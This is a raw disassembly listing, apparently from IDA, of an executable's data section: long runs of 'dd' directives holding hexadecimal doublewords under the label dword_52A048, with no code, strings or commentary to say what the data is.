		dd 212A1318h, 0D4A10480h, 56FE371Ch, 0BBA5EF80h, 0F9BB3ECh
		dd 0F17B4B1Dh, 0A0B4F8E0h, 692E3A1Ah, 98004632h, 0E4C2F6E6h
		dd 0BDC60EDBh, 0B186C7BCh, 7A002065h, 960DE68Bh, 484F93h
		dd 0FA98C805h, 8CE9897Dh, 43FE84B0h, 9F0E5700h,	37E33B67h
		dd 0ACE10010h, 8969E02Fh, 401792Eh, 0D51EA7Ch, 88CE8E6h
		dd 29202674h, 167A5300h, 0CEC1CB42h, 629F5CF7h,	0F267AF01h
		dd 0D81B693Bh, 0A326F109h, 0D1B5565h, 63C01838h, 475DC98Fh
		dd 21DD2600h, 1F45CB95h, 0CFA60E30h, 2320A305h,	342CDF4Bh
		dd 4B9D600h, 4001D7D2h,	8E583AE0h, 0B83CD398h, 286D95Bh
		dd 7BEB792Dh, 251842C2h, 56268030h, 4F017A75h, 0A43BA801h
		dd 0DEEDE310h, 0ECD95040h, 30390E22h, 87208F2Fh, 5BAE8EF3h
		dd 11EF9006h, 75C9E1CAh, 4EE803F2h, 0CF10B9A2h,	1B081EE0h
		dd 28849B50h, 4BFAE498h, 0A0815300h, 0EC75D7DDh, 6F0C0399h
		dd 0B4E5C260h, 0AAFF7EB8h, 8A0B2C00h, 0ABED2870h, 84310093h
		dd 4BE3150Dh, 5103CEBEh, 62D6B06Dh, 0B608D030h,	0D07700C0h
		dd 3C390DF6h, 60E8DD03h
		dd 0D4F4E000h, 0CB0A5C14h, 29DB6051h, 6D35D230h, 0FC1C8C0Ch
		dd 0EE7D183Ah, 0A6506FFh, 28B50C38h, 4D449600h,	0EBF221D1h
		dd 9E221DA8h, 0CA2000D5h, 0ACA906DDh, 31170430h, 1D86409Fh
		dd 5E11611Eh, 3F18FBE6h, 821A18AFh, 5DA11D84h, 5E39C189h
		dd 0ED962902h, 2000CF8Eh, 0B427AAD6h, 1D1D53Fh,	0B77EB50Bh
		dd 0C8AEA790h, 0CDFC1B14h, 0D4DA4400h, 8D084816h, 0FE4500BFh
		dd 0C42AA71Eh, 80E72250h, 0FCCF8298h, 47F0E5h, 0B02112Eh
		dd 0F8D91B4Bh, 3219439h, 0CE3114F6h, 0A6E3E028h, 0B58800CDh
		dd 0AB11250Ch, 0D8030D83h, 46A0E566h, 5CD2A8CCh, 0BB3518AEh
		dd 6EA3304Eh, 0C70AEC07h, 6C70C173h, 7A5349CEh,	20AD6377h
		dd 76B00415h, 650EB8B0h, 0E0F8426Ah, 5E4DCC3h, 0AD1C000Fh
		dd 7378D1B6h, 4E1CA2BBh, 0D69B6FD5h, 2943C061h,	1ECF1EACh
		dd 2F02C3BCh, 7CA39B0Bh, 35712100h, 0BC8894AEh,	687000A5h
		dd 382C41CDh, 1C050EADh, 78C021B5h, 0BE602819h,	0AE044218h
		dd 0D9044575h, 0F0207B32h, 41AE5Ah, 0BF83B93Dh,	1D82516Dh
		dd 9600C475h, 3CA11B5Eh, 54CE313h, 0D73D7236h, 83A84E20h
		dd 0A0426F80h, 0F1EA9891h, 0AD08AB65h, 2931A040h, 0FC49F70h
		dd 379A39AFh, 78C186AFh, 304DE638h, 0AA03C994h,	87497B93h
		dd 0B11A0ABBh, 393864B4h, 4B394187h, 8D9F2034h,	6E003CECh
		dd 0BA06FC69h, 0F96322h, 68015883h, 9ECBFB78h, 2397AD00h
		dd 3CC2066h, 82311ECFh,	0A2807E47h, 327A7EE5h, 0A500A0D0h
		dd 62F192Ch, 977261h, 36EC8260h, 0A9966323h, 0E8564A00h
		dd 94598C48h, 7AB500F8h, 0A2FE69Ah, 7000C9A1h, 0FB58796Fh
		dd 8DB4F9h, 5202E1F0h, 43987B8Ah, 8F27FA00h, 18D388C7h
		dd 359F00E9h, 0E3417984h, 0D700668Bh, 5250E551h, 9EB92Eh
		dd 15D376C7h, 2C54B653h, 831129CFh, 0C10BC087h,	20403FECh
		dd 3E527B97h, 630380F3h, 0E542D1C9h, 70C712E3h,	0DC38BAC5h
		dd 6C7D5F30h, 3B81E1h, 0EEC4437Ch, 0A967D669h, 89F9E307h
		dd 12321EEFh, 25EE60E2h, 9FAD0083h, 0F58DD947h,	4A30C319h
		dd 970780BEh, 35271FE0h, 4C1180F2h, 0F17E8BB1h,	12448900h
		dd 0B67A3D74h, 239D0035h, 1F2683FAh, 5500C564h,	2BB78970h
		dd 160048Eh, 2EA72BEh, 0A8E4959Bh, 80EFA628h, 51D650E9h
		dd 7B766D2Eh, 6665004Bh, 1FD17EC1h, 611DBB1Ch, 3200BF27h
		dd 117F0FC3h, 5830051h,	1881194Bh, 48F0E5AAh, 0DB747C00h
		dd 0AD40BBAh, 0C81C0773h, 0A0948991h, 20ED4BFAh, 96E74500h
		dd 1157168Dh, 0E9A30044h, 6EE83C47h, 460621AFh,	0A6234ACEh
		dd 8D250038h, 0D1D29D68h, 0D312BA8Bh, 0F0C8602h, 7C2508A9h
		dd 0AE670089h, 1C483AFAh, 0CE7224DBh, 0A7A58400h, 1B6670F3h
		dd 85E2078Bh, 707AE694h, 44EE9C04h, 7092CC03h, 72A29D87h
		dd 0BBD1EF20h, 3F328682h, 8CE080F6h, 97AC156h, 0DB3E5E90h
		dd 0FD5D00D1h, 0CABE13ABh, 361400A2h, 0FF52E8E2h, 80DEB8F8h
		dd 9EF1D907h, 6A87C020h, 38AA00EFh, 0D50DE40Bh,	65001A0Ch
		dd 165E282Dh, 3DC47ABh,	0EEDDD161h, 0F8905885h,	4401A57Ah
		dd 50C2201Fh, 7620E67Bh, 99093FA4h, 8088BF94h, 5AAE000h
		dd 11AEEDFh, 0B51F8C00h, 9C3F3B50h, 0EA93BBBh, 0BDBA2180h
		dd 0DEF65EA0h, 0D2805A0Ah, 880788DBh, 1D27CB77h, 21CA2240h
		dd 183AFE45h, 0C9C30BA1h, 2B281B6Dh, 680EC88Fh,	600EF44Ch
		dd 0B99FE426h, 16796Eh,	78CF7B14h, 9277C9CDh, 1CE5D903h
		dd 0C8B92C37h, 1158E69h, 0C41A89A7h, 0D8F0672Bh, 0E802B108h
		dd 70147B99h, 5ECD41BCh, 697D802Ah, 0AA601CEFh,	0C7FAD521h
		dd 0FF810096h, 648D4170h, 0EC04FC65h, 59B4990Eh, 8E2179C0h
		dd 799C00EEh, 6D1807DEh, 0E400B380h, 29C89DEBh,	32B989h
		dd 0B7717C2Ah, 0E6127BA5h, 0E202EAF0h, 99604637h, 54C401Eh
		dd 0D0FC0393h, 816E2BF4h, 0C68C4EB8h, 0D8C8F201h, 78CBC248h
		dd 0C9B61880h, 206CCC92h, 0FF0E1718h, 0EC962B30h, 1398FEh
		dd 0B8CF1590h, 0DB3D7EB9h, 0A5AD0C0h, 1D2FE6Ah,	328F429Ah
		dd 0D98C19C8h, 0F501E8E3h, 0A60E2A00h, 75B88A18h, 0B9DC1D78h
		dd 0AA26C023h, 0D871030h, 77417407h, 24D1C748h,	13FD406Ch
		dd 5C5759FCh, 0EC0BFF70h, 0D083E150h, 38007D73h, 0F67B8FEDh
		dd 5011C024h, 7B09Ch, 459DB66Fh, 979B924Ah, 9044801Ch
		dd 0A0E67A45h, 0B2859440h, 0C873455h, 8E51911Ch, 81000A50h
		dd 0DCD4474Ch, 0F26C3BB2h, 0D222003Ah, 0EB88A856h, 3200A9F0h
		dd 0E5C18E54h, 343B3DEh, 84C7B030h, 408817F6h, 9A0B6216h
		dd 80A4564Dh, 673A8F1Ah, 0FD6D00EDh, 0EFF5C32Eh, 0F000892Dh
		dd 0C120D4FBh, 71559227h, 0AD1000DEh, 0EB4B030Fh, 0C0004253h
		dd 8DF9DA31h, 71B0124Eh, 17C10378h, 0AC492BFCh,	8A38B5A0h
		dd 12F8B770h, 5BDBFA0Ch, 5CA3A16Eh, 0AD008683h,	122C9769h
		dd 600ACE3h, 52D58B2Eh,	0C6642Fh, 0A9EB147Eh, 7FCA741Fh
		dd 0EE8D98C0h, 0E47891D6h, 8BBA011Eh, 453823BDh, 0F2B06EE1h
		dd 30FB00E4h, 2E1AEFD4h, 4D7FC18Dh, 0ADAE79DFh,	42D32F00h
		dd 303EF153h, 0BDB67A0Ch, 1F069B74h, 83A4D0A8h,	877BDAh
		dd 41216810h, 8886793Ah, 19609971h, 340F8A59h, 91CD0072h
		dd 54943993h, 6106CCA2h, 2E9D01CEh, 0A9C10046h,	99E376D1h
		dd 720044D8h, 0CCD22527h, 0FA1F06h, 419163ECh, 0B7DA56B4h
		dd 175CF62Eh, 318C2114h, 0A7D21849h, 0F87C2BC8h, 570D393Bh
		dd 317C8726h, 83074DD8h, 956E03E1h, 0CB48D830h,	0D38C0E3Eh
		dd 31006D3Dh, 0F018341Fh, 4C6B7400h, 0B7E5BE7Dh, 0EABB07E0h
		dd 0EB198C96h, 90E85880h, 0D9502B33h, 7428A6C4h, 0BA00BCA9h
		dd 49971F41h, 18075F2h,	5E594EDDh, 0FB25529Dh, 0D44D12B0h
		dd 0D9D52D00h, 274742F8h, 7367439h, 0FDC286C6h,	0D23D43C7h
		dd 17063190h, 7C577103h, 0E04EAFF2h, 1EB37B47h,	80D4791Ch
		dd 0C49BB638h, 0C606498Ch, 413DC370h, 7AC10058h, 3511F418h
		dd 0CF0022CEh, 0D7C8FDE9h, 0EE4CB344h, 0F9E4E3F1h, 0F7B0396Eh
		dd 0FCA63880h, 40B59445h, 0F1F02A03h, 8947E18Ah, 42F12F6Dh
		dd 622F70h, 3AA87472h, 713E365Ah, 0E8B5DC00h, 6435C6Ch
		dd 183F7669h, 0B085B670h, 9A603E7Dh, 0F37C50A0h, 9D19C048h
		dd 6AEC625Ch, 3051830Eh, 0A44B252Eh, 1FE8003h, 0E9409895h
		dd 39812890h, 14310090h, 0C03F4B8Ah, 0DC01747Dh, 84C818FDh
		dd 0FAF0CF43h, 25953FC6h, 2F0E4D80h, 0E5F74A05h, 79000AE0h
		dd 0BEB680EAh, 0A513830h, 0BD07F38Ah, 0C9A50824h, 4A383Eh
		dd 7A9F2EB0h, 32F3235h,	5A703D4Ch, 3005C2F7h, 129E10BEh
		dd 0B134B401h, 8440404Fh, 0E80D226h, 3990BCFEh,	83FD2FEEh
		dd 475B85A2h, 8D0DC9h, 58C15D86h, 2703D54Bh, 0D119B94Dh
		dd 8043082Ah, 4A227600h, 0C06D64FDh, 0E2FC5Fh, 0D5D6FC1Bh
		dd 3097C308h, 0A4800C90h, 400CA4C6h, 114EF9C8h,	39CE0026h
		dd 0D287BE50h, 730C01D5h, 216DD30Dh, 0ED430F13h, 6E00CCAEh
		dd 5F24CA0Ah, 51A40504h, 8380F462h, 148026E9h, 8033508Dh
		dd 9067E248h, 0DC12101Ch, 9CCA78Ch, 90689EFh, 0D3C6685Dh
		dd 427A3A80h, 1B0141D8h, 20937375h, 0AAE8F9E9h,	86590A9Ch
		dd 0A07DABh, 2A301405h,	10C080C5h, 0E667F4AAh, 4808009Ah
		dd 8C492ED4h, 2A000A1Dh, 0D7656ECAh, 1A2AB8Ah, 1F506AF2h
		dd 0F8E1F3C2h, 150022AFh, 1D8A4D20h, 0E29C7807h, 0FE77072Bh
		dd 1056372Eh, 0A23D98FDh
		dd 285C4700h, 4B8E44EBh, 60D4000Eh, 96F4EA36h, 0A81215A3h
		dd 0C1002F51h, 1ACB1726h, 7C8F00EBh, 0E56929AFh, 5107B87Dh
		dd 9CD12FB2h, 0C8473123h, 6EF6ADh, 0E833BD9h, 181A111h
		dd 16ECF900h, 64C4048Ah, 6B7BA5h, 0B24FEA75h, 3515B8CCh
		dd 84004E74h, 67642116h, 0C5137Bh, 0B11C8514h, 47BB9DE3h
		dd 70874800h, 1A2C51CFh, 3CB93EA0h, 99127800h, 0DCD95888h
		dd 95BE7000h, 0CFC8E25Fh, 48720757h, 60FEF374h,	16933AAFh
		dd 7DD31300h, 4451DBFBh, 0BC1D0C33h, 0A3D112C0h, 801B943Ch
		dd 28D4E62Ch, 436DFA5h,	5542F1F6h, 0CB10C072h, 76019F06h
		dd 0CFC58778h, 0D0867FBAh, 49C7BCF5h, 6110D600h, 196A3BF6h
		dd 0AFE93F30h, 10FBA8h,	0EA336F34h, 810DE7BDh, 6CE11B0Ch
		dd 84487Bh, 0AB31D0BEh,	294799F8h, 75A4FD05h, 0DFC0BF02h
		dd 29368ADh, 21DB2CC0h,	9C60E5B7h, 3C1E835Fh, 25C0F2A1h
		dd 5D679CB2h, 7720047h,	0B6326E09h, 0CA00FAA3h,	217B20E1h
		dd 0FEE01D57h, 0C0100308h, 0EA8A6AB5h, 407749D1h, 6DF113BFh
		dd 0B4BEDC01h, 8AFAE7EEh, 71B89F0h, 16D2279Ah, 8C0B808Eh
		dd 15072884h, 6AE4AD39h, 7D9B3BD0h, 1A30010h, 0C1B96E6h
		dd 683C72A8h, 0AF1980E8h, 60DF87B3h, 18163C6Eh,	55245F00h
		dd 1BFB4904h, 45E13800h, 7333BE13h, 0C1B805BAh,	805663C9h
		dd 0EA282C35h, 44F24DF4h, 5317E4FFh, 66412600h,	61F51B4Bh
		dd 5DA4005Ch, 0EEBF7C0Dh, 0D92429C9h, 0A017CADh, 5E79883Ch
		dd 0EA6BC8h, 0D598596Eh, 55D06C23h, 9CE22F00h, 0CD422838h
		dd 93F63F4Eh, 40D3269Eh, 0E16E44D9h, 6D00F52Bh,	911E1719h
		dd 38B18966h, 3298E629h, 9C5E8827h, 6A8B0300h, 30A547F3h
		dd 0AA7360h, 0D37B8E72h, 0C80F40A2h, 44C42600h,	0BD17820Bh
		dd 0E14C00F2h, 6B0DC7F8h, 2100C123h, 0E09193AFh, 0C0A247h
		dd 9ED218C9h, 668DDDFFh, 86C3D700h, 73610B6Ah, 0CF1B0C6Ch
		dd 0EA403D3Eh, 0C94C70F7h, 32829700h, 44CBE7BCh, 0BF60008Ch
		dd 93CEE468h, 6E0B3AD8h, 8435134Fh, 0EF80021Bh,	0A585DCh
		dd 12144A1Dh, 4B371B2Fh, 0CB449E00h, 1E3F4FC8h,	26C000F0h
		dd 0C7B9E6FFh, 9AF0A11Bh, 0B60739B8h, 185690FAh, 3A832AB0h
		dd 0C0965EEDh, 7FE7BFADh, 4F508EEFh, 0C5D680B7h, 0B6F566h
		dd 0BE456908h, 10FE8D3Ah, 0B19ED800h, 562D28C3h, 0CF890039h
		dd 0F20A4513h, 0EC0083B9h, 8DC6755Eh, 1A7F746h,	26D8C94Ah
		dd 0E80268EDh, 0E30022AEh, 8F2CE1ABh, 51CB8258h, 0D9C0CABBh
		dd 2F600327h, 0A4C0C2B6h, 539424C0h, 9200C874h,	3CCB285Dh
		dd 0EF2CFDh, 12226D63h,	1CB579DBh, 3DB7440Fh, 0E289809Dh
		dd 79169A2h, 0CD4D723Ch, 809A475Fh, 0CCB371D7h,	4A420400h
		dd 55A89489h, 0B8D001CDh, 589CEF19h, 0D82EFC3Dh, 76E56500h
		dd 0C830D910h, 0CC40F39Ah, 0D32081h, 0EC1A96Bh,	0DD594B7Fh
		dd 0E369C1EBh, 51C671E0h, 0ED33F000h, 0F6F9913Ch, 0E9230FE2h
		dd 0EBA01E35h, 0CADCDF3Eh, 60814600h, 0AF4BF0D7h, 0E402098Dh
		dd 7D804D43h, 8C2CF940h, 98652A02h, 0E0E79C61h,	923E1Ah
		dd 0C1142827h, 0FF23022h, 0E380D607h, 4BC01C47h, 7B05CBCFh
		dd 9F253AE6h, 8D160600h, 6F4EED62h, 0BDF5F100h,	35BA241Dh
		dd 0C88C1B9Fh, 39E87872h, 337AB0BEh, 80AC7B3Bh,	3E615B09h
		dd 884A94h, 0D46590E7h,	997855E5h, 7E00DD79h, 0F221B61Fh
		dd 1089C4h, 0EF29C111h,	50D540DBh, 93E72B00h, 596BF84Ah
		dd 2FE20930h, 577C0383h, 69B69800h, 0E3A5477h, 0DE3C2826h
		dd 0E30308E9h, 4498FFEAh, 92EC7D55h, 5AA34D00h,	61D8E73Dh
		dd 0E44001C2h, 0D5BF9D2Dh, 531FFCF4h, 0F09FB800h, 0F716C99Ah
		dd 3E130351h, 2F8136A1h, 29D55A0h, 0FEBA4200h, 0F73AB37Ah
		dd 4F990EFBh, 6D000389h, 0CB5AF4DFh, 469F3100h,	2EA2C8C9h
		dd 0ACBB00BEh, 0AAB7BCF6h, 9CF850E1h, 187B5A00h, 0F252C9D3h
		dd 65DC0086h, 72048FC4h, 402E893Fh, 1500783Bh, 80A61AE0h
		dd 81E300C1h, 0C2E29762h, 3706D252h, 0BA940EB3h, 0A77260h
		dd 38768C7Ah, 8FC36309h, 8D173500h, 0F02B076Dh,	0A9D90078h
		dd 0DC4BE68Ch, 389061DEh, 80802648h, 0C5AAF0BBh, 45C000C1h
		dd 3E278ED9h, 70994B9h,	0A8682Ch, 0E4349061h, 0BC220059h
		dd 2D095511h, 30787D3h,	0F33D5D1Eh, 769AB340h, 0C1E700B2h
		dd 0C81C6CFh, 5571C09Dh, 0C2F18C1Fh, 0D4EB21C0h, 19A9E6Bh
		dd 85C86490h, 304A738Bh, 4C001574h, 0E825FFF2h,	36074EAh
		dd 62907B03h, 36C046A3h, 4300F5EBh, 0C7CAC926h,	0E80C3Eh
		dd 7E3902BDh, 86211034h, 0D148A030h, 2417FCB7h,	0C578F3BCh
		dd 56207055h, 57FAE45Ch, 9D00B0F0h, 89B73C22h, 454472h
		dd 52ACEEB6h, 685CF8Fh,	0CB690201h, 0A96C9B9Fh,	63E4A3E9h
		dd 0E0EF3803h, 0A700134Ch, 30C0C4EBh, 0A6009C68h, 0B082B117h
		dd 0E902752h, 153D5F3Eh, 5D35AB20h, 440E3BE3h, 806CDF02h
		dd 22BDF9E4h, 0CE90006Ah, 6788D3C3h, 0E1001A6Bh, 279F436Eh
		dd 0A1DBF7h, 1955AF69h,	0BA496529h, 0AC2B4705h,	0A849674Ch
		dd 87901048h, 0E14F003Bh, 0B7BE59BBh, 7600E211h, 1A333F18h
		dd 92FEF7h, 2A6E758Ch, 0ED22499Dh, 0F6410427h, 0B65B0F97h
		dd 6940C9A0h, 85003921h, 0DB507449h, 5A0C4Eh, 0FEFDB6A8h
		dd 0DEA987A6h, 979CE500h, 0DC811109h, 0C03006Eh, 0A126B28Ch
		dd 0D3002E0Dh, 0CB2AA645h, 95761AE3h, 0F609F578h, 889E851Dh
		dd 0E700C815h, 0BDC09C2Ch, 71B0262Eh, 471749h, 7ADBF52Eh
		dd 0BF044F79h, 93F4A283h, 0E8008895h, 23EC9ECDh, 613609CAh
		dd 2482F7D2h, 0C0D51CFAh, 26DD0BE6h, 0CCCFA1h, 0D06D916Eh
		dd 4C043640h, 0A97DF76h, 0BFB80C80h, 8EEB00A4h,	74E246BCh
		dd 4101CB56h, 0D18DDC5Ch, 0FC34A70Eh, 0EA490DE1h, 0DC3809DEh
		dd 338BBE3h, 0A0B5807Ah, 0F2A4E6A9h, 0D1C00448h, 0C277BFCFh
		dd 6443F8B6h, 469688B0h, 0B95C08B8h, 48E60B0Dh,	0C2C00019h
		dd 0C66A11h, 795B6686h,	0BE5C21A5h, 0EA242C9Ah,	2E80506Bh
		dd 2FD86A25h, 4F0B26B0h, 91DC00D8h, 20A31F1Eh, 67CA8400h
		dd 5D73BE05h, 36460787h, 41F7234Bh, 0F05B6C98h,	0BC00AD4Dh
		dd 0F1B4294h, 647F4Fh, 6582E608h, 0C6F9F5F0h, 53E5B800h
		dd 873DBC72h, 60EE00ACh, 35F0663Fh, 7A77755Fh, 9F6CE901h
		dd 0B74833D3h, 510BC8h,	0E3D23231h, 0FDCD779Eh,	0E04DA530h
		dd 57AE49h, 0DBD40E2Ch,	749951C7h, 7852AD3Eh, 5C49CA26h
		dd 14663C62h, 6D39861Eh, 200BD700h, 0C1A6B74Bh,	10C64858h
		dd 0E9DE6034h, 0B1F4D150h, 0CE21EF00h, 837A1C4Fh, 0A77601DEh
		dd 9EF5EC10h, 7F7E9846h, 0C853299h, 0CF386CC1h,	5D267EF4h
		dd 0E0B5C5Bh, 0F5D82024h, 131A26FEh, 582B263h, 8C4566D0h
		dd 50F43F8h, 54A9762Eh,	3CE4C144h, 0D860645Ch, 0BB060057h
		dd 12A5A76Bh, 0FC4CCD4Fh, 0A15E1393h, 0B5428h, 530589EBh
		dd 882E7B29h, 7160C100h, 112BC72Dh, 1BE6F1h, 0E35016BFh
		dd 0E664B6EAh, 6C91D401h, 0C3305E93h, 0B542D0h,	2C24991Bh
		dd 16F06431h, 68BE4E0Eh, 7A930158h, 41D0518Eh, 0ACC43DC2h
		dd 2BAFDE81h, 40A93989h, 625B4687h, 63FE320Bh, 0C6CF8067h
		dd 5978D4h, 9D3B0A06h, 7550F85Eh, 0F11F907Ch, 0B9402A0Ch
		dd 65A37AEEh, 0D78300E3h, 1A9A84A7h, 1006ABEh, 0E2A22D16h
		dd 15655Eh, 104FA420h, 0FEF823D3h, 0F3DDBD00h, 612607C1h
		dd 0A9F452h, 16E49EBCh
dword_52A048	dd 7CB0A502h, 0CA91FD00h, 613A0DB8h, 9578003Dh,	88A89A2Ah
		dd 0A600694Ch, 0D1E40A0Fh, 3FDB7F9h, 40C4F081h,	590FD434h
		dd 218CBCF4h, 372EB9CBh, 156B60h, 2FD41F3h, 835048B1h
		dd 3279AD1Eh, 9FC01402h, 0AE20A05Fh, 1325FCh, 30E57466h
		dd 0C2216F04h, 0F3D4171Eh, 0B353E980h, 0C83996h, 0BDF8A27Ch
		dd 0A60C63B7h, 87D2A93Bh, 0FDFE7FEEh, 3F495780h, 0E0530048h
		dd 89045486h, 880068A7h, 0BCD5A07Eh, 1FFA5A01h,	84A260EAh
		dd 0C0F3CF1Bh, 0A7F411BDh, 4A5C900h, 54AA0F15h,	475E0022h
		dd 689F7837h, 0C30EEC24h, 808B882Fh, 3D4E9DA8h,	66FB03C5h
		dd 0B22519A5h, 0D99550C0h, 71823Dh, 1E2CCFF7h, 4345D5h
		dd 5A20D1F9h, 17BE04DAh, 0D990C000h, 9BC48547h,	0AF74009Dh
		dd 0B8EE0C09h, 0DD00B3C5h, 0C20298CAh, 372C99h,	7659A63Eh
		dd 3134914Eh, 6FE18300h, 6A5BDF35h, 0E2FE4Dh, 0CADAF020h
		dd 421C4EE4h, 6B66FF00h, 0D1B40C0Eh, 0AA78001Bh, 0E2946E22h
		dd 0A07DC5Ah, 0B2F97AEBh, 0A5D23A40h, 2DD074Bh,	0F079AE55h
		dd 9B920DB3h, 3E0F3500h, 0AB75F5E9h, 0CC9861h, 0EC4D05C7h
		dd 0CEA0FEAEh, 92D0450Bh, 123407B4h, 814C0660h,	71B300F1h
		dd 0BD908010h, 0C40C37EFh, 608C6E16h, 0E7580953h, 100088E6h
		dd 0C5D26F9Bh, 0D44CB800h, 0A1B6D8D0h, 0F0FB000Fh, 0E4FC3471h
		dd 0B17A28Eh, 3500AE53h, 0B7A5232Eh, 5377410h, 0BD115106h
		dd 0ED8E804Bh, 36002C7Ah, 25B83546h, 0C91A030h,	8554FB71h
		dd 0B7300A70h, 0CC9F40F3h, 0D159C19Bh, 43B8A199h, 0F1A9693Ch
		dd 1660812Fh, 0F9669B37h, 3B1F6041h, 0BC61FCh, 0C5412E75h
		dd 6A83A47Bh, 86112C18h, 3BCA0469h, 731E829Eh, 22C6E18h
		dd 0CFA05188h, 0C8C2FB41h, 370F6C36h, 0E0449C3Ah, 91EA1FE8h
		dd 5F8B0CABh, 53987817h, 0CA4E3900h, 0E433204Bh, 0D38C012Dh
		dd 0B90F4E8h, 0D9C08705h, 0C7B03ED1h, 1D93F588h, 18A8D4F8h
		dd 49E2E1A1h, 0E63C6C07h, 34E0D7C7h, 0F2706B15h, 123000F5h
		dd 0FFDC430Ah, 0CB303D47h, 17F3C09Eh, 9C6B003Bh, 4B96051Ch
		dd 0FA379A4Dh, 721E136h, 95C8C13Bh, 0E07A0FCBh,	0A0188C2Fh
		dd 2C008709h, 0D39219AEh, 0E806B5B1h, 0EE2300E6h, 96CA5F10h
		dd 78C96F49h, 0DD3C2552h, 5410402Bh, 0B76DC0AEh, 32432Fh
		dd 1A7076F4h, 508FDC52h, 0FA945154h, 0E92F018Ch, 4B583110h
		dd 4007088Ch, 6A00B80Ah, 0E96FFE6Eh, 0C0172816h, 7DAB9039h
		dd 4400BEBDh, 0CDEED033h, 0A309385h, 17A8918Dh,	8F1283A0h
		dd 10008EFDh, 0F6D9F89Fh, 0E5EA4BE7h, 290CDE0h,	0E5D6855h
		dd 71600F1Eh, 7200E0DAh, 74D1515Ah, 0F4215E4h, 3A1B46A3h
		dd 0B388F6A0h, 1D3C38B6h, 9582073Bh, 3970D0A6h,	0F6B975D8h
		dd 6E680057h, 0E19DDBB8h, 96012CCBh, 80024F9Bh,	81E06BF8h
		dd 910F00B5h, 0F78635DAh, 0CAF684E2h, 0EDEAFE01h, 104B55ADh
		dd 0D40D7C6h, 7300409Dh, 26716D48h, 7C8552h, 0B4BE7B2Fh
		dd 0FBB2243Ch, 43AA1707h, 8BC012C2h, 989BE581h,	58A0001Ah
		dd 53271B21h, 0A8036EECh, 11BC3A42h, 0EFE090D7h, 58DE00B5h
		dd 0A3CC6C10h, 69002E6Bh, 9ABF59Ch, 1E520F41h, 0CA2FE3h
		dd 0DAA9A850h, 0CD00A3B4h, 86BC7AFFh, 0FC45E761h, 0FDD000D6h
		dd 144B62B3h, 0ED00DF75h, 7E60D5E2h, 7B6F58Bh, 0A7685C29h
		dd 6998F0F3h, 8E0F1D66h, 439DEEA1h, 1C27281h, 77179C68h
		dd 0EC15564Dh, 0F98D73Ah, 3CA4D603h, 4FA97Bh, 25481E29h
		dd 15A3BA4Ch, 0BC01A8B8h, 1424D23Bh, 8841AB9Dh,	880C34Dh
		dd 0B148D0CAh, 1D0352C4h, 4520FE53h, 0CFCCA87Dh, 0E8B3006Dh
		dd 5A960C64h, 0E0E58DBh, 0A014B7D7h, 692AD371h,	6844000Ah
		dd 0DF309DDEh, 10000BD2h, 38E197B2h, 0DD14A6h, 1562AE6h
		dd 0EAF6D8EBh, 0B8FE4Ch, 1A1FB126h, 3B4D13h, 0F9CA9355h
		dd 0E056D6BAh, 1ED41407h, 0CF430998h, 8D200703h, 5790E1CEh
		dd 2865BDh, 37AC34DDh, 263E4F13h, 9485000Fh, 32843CF4h
		dd 593A60CBh, 3608BA7Bh, 4486B773h, 0B8009F35h,	0D6E384B5h
		dd 1D31933h, 6426F427h,	4645E941h, 0EA0028C0h, 4F541C3Ah
		dd 26B80Bh, 7612493Ch, 56FDC224h, 7A70E960h, 0C0C142h
		dd 0E49B4643h, 0B3AAF659h, 0BA0EA400h, 0B7B403E0h, 0A80C307Ch
		dd 56D3CEB0h, 0EA948000h, 0D633625Ah, 8F6F03A2h, 8DA9BD27h
		dd 0EAD8FCA7h, 0ADFC4Ch, 999A7F73h, 0A8E174h, 0D02530D4h
		dd 0DCB47947h, 9151EE07h, 87701052h, 10189BEh, 0B7E4C59Eh
		dd 0E86ABA90h, 21000831h, 8AD1FC58h, 0EF7D04h, 6DB3F93Bh
		dd 0E09C26EBh, 8EAA800h, 0EDC459Fh, 0CCC1D9Ah, 0AE9D00AAh
		dd 8D5EA9D0h, 36460507h, 2A308C1Ah, 71AB5257h, 45AC0383h
		dd 0B0DE49A2h, 36C0EB95h, 1F962FBEh, 0E70F7E58h, 1D009CFEh
		dd 87DC701Eh, 9C7CEEh, 0FC28582Eh, 0B779A8C6h, 26BBA000h
		dd 1BC913E3h, 0F3970048h, 228F3846h, 9C0041D6h,	7E19253Ah
		dd 13BA4EEh, 11C0A554h,	0C824084Fh, 96005277h, 0F0C874DCh
		dd 0F7AE32h, 7C1C85A8h,	0D880873Bh, 0F18BA600h,	4F9F84DCh
		dd 98CD1F6Bh, 10060619h, 720008B8h, 838EDA1Ah, 38A12351h
		dd 74762C7Ch, 0B4D6002Ah, 0A6101A4Ah, 800F5BC3h, 0E01524EFh
		dd 9CA3BEA7h, 78713066h, 0FA199788h, 3F8113Ch, 722B05CAh
		dd 3F3DD8B9h, 824C30E0h, 3AC22A21h, 0E70EF4EAh,	2E17941Eh
		dd 44528220h, 0A34F604Ah, 6D180E88h, 0A5A06C84h, 97E427A9h
		dd 11859918h, 0F2247D90h, 965F3291h, 0F30D160h,	0F506088Eh
		dd 91621B2Fh, 3D590042h, 0D0B0C73Ah, 0E600CB7Bh, 7A4EEFC0h
		dd 42FA54h, 652FE772h, 29949782h, 6F00C2FCh, 0B9418ABFh
		dd 1F37A1DAh, 0EEAF0D9h, 55A02663h, 0D7487E1Fh,	0C8000DFEh
		dd 4D512C4Bh, 165F1768h, 499457h, 69B4B020h, 0C30CFD84h
		dd 20E63DD9h, 0EB9600D3h, 3CF23F01h, 0E400BF77h, 0D6C250B3h
		dd 7FA5BE0h, 0EB7665Dh,	0C0EDA7FBh, 447D65D0h, 0C65C0500h
		dd 0F6A09EA5h, 5FA90313h, 2C3AADCBh, 302FD0BFh,	9604E05Dh
		dd 0CD9D0848h, 0D73FA7C0h, 63280078h, 0E26F91A1h, 8548F077h
		dd 3DA800FDh, 90065670h, 0D8F64814h, 0BCBF5300h, 0E505438Eh
		dd 7031F0Fh, 0E3B5C1B8h, 0E1CB2F48h, 0B4E00208h, 7EBB004Dh
		dd 2778665Ch, 0C300F7CCh, 9EFB9C5h, 77F16DDh, 7C72A382h
		dd 5FD37022h, 8701AC1Dh, 0F689A904h, 0D8806B48h, 1FCD1808h
		dd 0BE00EE09h, 0B69FF8Ch, 0BAB140h, 0A04858A7h,	637903B5h
		dd 0A8F44A00h, 0F38E5C39h, 0BE40BD3h, 748012DAh, 570A2283h
		dd 0A330F174h, 89FF20C6h, 0BD0EDD9h, 30BE018Ch,	0F5D067BAh
		dd 407EF046h, 1155A00Eh, 88CAE18Eh, 86E7C9DEh, 0D22A0018h
